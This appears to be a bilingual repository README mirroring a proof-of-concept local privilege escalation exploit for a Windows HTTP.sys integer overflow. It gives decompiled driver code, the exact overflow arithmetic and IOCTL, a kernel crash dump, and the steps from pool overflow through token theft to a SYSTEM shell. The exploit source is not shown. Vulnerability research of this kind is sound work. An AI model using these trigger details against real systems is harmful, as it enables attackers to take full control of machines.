hackspeak/cve-2026-62735Local privilege escalation exploit for Windows HTTP.sys integer overflow (CVE-2026-62735), demonstrating crash and full SYSTEM shell via nonpaged pool overflow. For authorized testing.
Integer Overflow vulnerability. With this vulnerability, we have primitive Heap Overflow -> SYSTEM shell.Integer Overflowhttp.sysUlpCreateInternalResponseOldhttp.sys allocates memory based on TotalHeaderBytes, even though the headers require a much larger buffer. This provides the basis for overflowing the nonpaged-pool allocation in UlGenerateMultipleKnownHeadersOld:__int64 __fastcall UlpCreateInternalResponseOld(
sv_UL_REQUEST *Request,
unsigned __int16 EntityChunkCount,
unsigned int FixedHeaderCount,
unsigned int FixedHeaderBytes,
unsigned int MultipleHeaderCount,
unsigned int MultipleHeaderBytes,
unsigned __int16 KnownHeaderCount,
unsigned int TrailerCount,
unsigned int TrailerBytes,
char FastForwardRequested,
char CacheEligible,
char ResponseInfoPresent,
char AutomaticChunkingRequired,
char AdditionalHeaderRequired,
sv_UL_INTERNAL_RESPONSE **InternalResponseOut)
{
int VariableHeaderBytes; // r9d
int H3ExtraHeaderBytes; // r10d
unsigned int MultipleHeaderBytesLocal; // ecx
unsigned int TotalHeaderBytes; // [rsp+E8h] [rbp+60h]
...
// 0xffffff32 + 0x2e + 0 + 0xa0 = 0x4e
TotalHeaderBytes = MultipleHeaderBytesLocal + FixedHeaderBytes + H3ExtraHeaderBytes + VariableHeaderBytes;
...
}
*** Fatal System Error: 0x00000050
(0xFFFFCD86AE712000,0x0000000000000002,0xFFFFF807489C4362,0x0000000000000002)
Driver at fault:
*** HTTP.sys - Address FFFFF807489C4362 base at FFFFF80748860000, DateStamp 2bfcaa4c
.
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff807`b26fa0d0 cc int 3
0: kd> k
# Child-SP RetAddr Call Site
00 ffffe205`092ddf78 fffff807`b27afcf2 nt!DbgBreakPointWithStatus
01 ffffe205`092ddf80 fffff807`b27af21e nt!KiBugCheckDebugBreak+0x12
02 ffffe205`092ddfe0 fffff807`b26f9357 nt!KeBugCheck2+0xb2e
03 ffffe205`092de770 fffff807`b24fd030 nt!KeBugCheckEx+0x107
04 ffffe205`092de7b0 fffff807`b2443c56 nt!MiSystemFault+0x850
05 ffffe205`092de8a0 fffff807`b28badcb nt!MmAccessFault+0x646
06 ffffe205`092dea10 fffff807`489c4362 nt!KiPageFault+0x38b
07 ffffe205`092deba8 fffff807`489a6611 HTTP!memcpy+0x122
08 ffffe205`092debb0 fffff807`4897c165 HTTP!UlGenerateMultipleKnownHeadersOld+0xbdd
09 ffffe205`092ded90 fffff807`48976db0 HTTP!UlpPrepareHttpResponseOld+0x2c9
0a ffffe205`092dee70 fffff807`489361a4 HTTP!UlCaptureHttpResponseOld+0x92c
0b ffffe205`092defc0 fffff807`488f7c92 HTTP!UlSendHttpResponseIoctlOld+0x1160
0c ffffe205`092df600 fffff807`488c4db5 HTTP!UlSendHttpResponseIoctl+0x12
0d ffffe205`092df630 fffff807`b245cabb HTTP!UxDeviceControl+0xb5
0e ffffe205`092df670 fffff807`b245ca33 nt!IopfCallDriver+0x5b
0f ffffe205`092df6b0 fffff807`b2ac0e75 nt!IofCallDriver+0x13
10 ffffe205`092df6e0 fffff807`b2abfcbc nt!IopSynchronousServiceTail+0x1c5
11 ffffe205`092df790 fffff807`b2abf30e nt!IopXxxControlFile+0x99c
12 ffffe205`092dfa00 fffff807`b28bf255 nt!NtDeviceIoControlFile+0x5e
13 ffffe205`092dfa70 00007ffa`d37c0144 nt!KiSystemServiceCopyEnd+0x25
14 00000014`0d9af2d8 00007ffa`d08a3953 ntdll!NtDeviceIoControlFile+0x14
15 00000014`0d9af2e0 00007ffa`d1f93335 KERNELBASE!DeviceIoControl+0x73
16 00000014`0d9af350 00007ff7`00cb1cb4 KERNEL32!DeviceIoControlImplementation+0x75
17 00000014`0d9af3a0 00000000`00001f7f poc!main+0x924
18 00000014`0d9af3a8 00000000`00000007 0x1f7f
19 00000014`0d9af3b0 00000014`0d9af4a0 0x7
1a 00000014`0d9af3b8 00000000`00000000 0x00000014`0d9af4a0
本仓库为 CVE-2026-62735(Windows HTTP.sys 整数溢出 → 非分页池溢出 → SYSTEM) 漏洞 PoC 的中转分发镜像(技术说明见上方上游原版 README)。内容由上游公开 PoC 镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
UlpCreateInternalResponseOld / UlGenerateMultipleKnownHeadersOld(http.sys,旧代码路径)0x12403F(UlSendHttpResponseIoctl)交给 http.sys 处理核心原理:TotalHeaderBytes = MultipleHeaderBytesLocal + FixedHeaderBytes + H3ExtraHeaderBytes + VariableHeaderBytes——当多值响应头字节数被构造到接近 2³² 时,该 32 位求和回绕为极小值(0xffffff32 + 0x2e + 0 + 0xa0 = 0x4e),ExAllocatePool3 据此分配远小于实际需求的内核缓冲,随后 UlGenerateMultipleKnownHeadersOld 的 memcpy 越界写穿该非分页池块。
poc/ poc.cpp + head.hpp —— 完整利用:命名管道 DQE 堆喷 → 池溢出控制 0x30 头 → 任意读/写 → 复制 SYSTEM token → SYSTEM shell
crash/ poc.cpp + head.hpp —— 仅崩溃触发(验证漏洞存在,触发 0x50 bugcheck)
crash/ 与 poc/ 均为独立可执行;运行 poc.exe 成功后将弹出 SYSTEM shell本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的系统运行。利用会以内核池溢出提权至 SYSTEM,可能触发蓝屏(0x50),请在可销毁的虚拟机中测试。
LICENSE)。